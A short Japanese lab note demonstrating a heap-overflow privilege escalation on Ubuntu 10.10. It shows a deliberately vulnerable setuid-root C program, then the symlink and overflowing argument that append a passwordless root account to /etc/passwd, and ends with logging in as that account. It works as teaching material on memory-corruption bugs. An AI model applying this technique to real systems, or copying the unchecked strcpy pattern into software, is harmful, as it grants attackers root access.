heapを利用した攻撃のテスト
Ubuntu10.10で試しています。
次のような脆弱性のあるプログラムがあるとします。
#include <stdio.h> #include <stdlib.h> int main(int argc, char *argv[]) { FILE *fd; char *userinput = malloc(20); char *outputfile = malloc(20); strcpy(outputfile, "/tmp/notes"); strcpy(userinput, argv[1]); fd = fopen(outputfile, "a"); if (fd == NULL) { fprintf(stderr, "%s のオープンに失敗しました。\n", outputfile); exit(1); } fprintf(fd, "%s\n", userinput); fclose(fd); return 0; }
rootオーナーでsuidを設定して、さらに危険にします。
$gcc -o heap heap.c $sudo chown root.root heap $sudo chmod u+s heap
引数に/bin/bashを指定するとヒープの40byteをオーバーしてしまうので、
少し細工します。
$mkdir /tmp/etc $ln -s /bin/bash /tmp/etc/passwd
それで次のような引数を与えて実行します。
$heap myroot::0:0:m:/root:/tmp/etc/passwd
そうすると/etc/passwdにパスワードなしのユーザが作成されます。
ですが、Ubuntuですとsuできないのでこのmyrootというユーザを使用することが出来ません。
どうやって使えるのか模索していたところ
一度ログアウトして
ログイン画面からログインするときに、その他を選んでmyrootでログインしたらroot権限でログインすることが出来ました。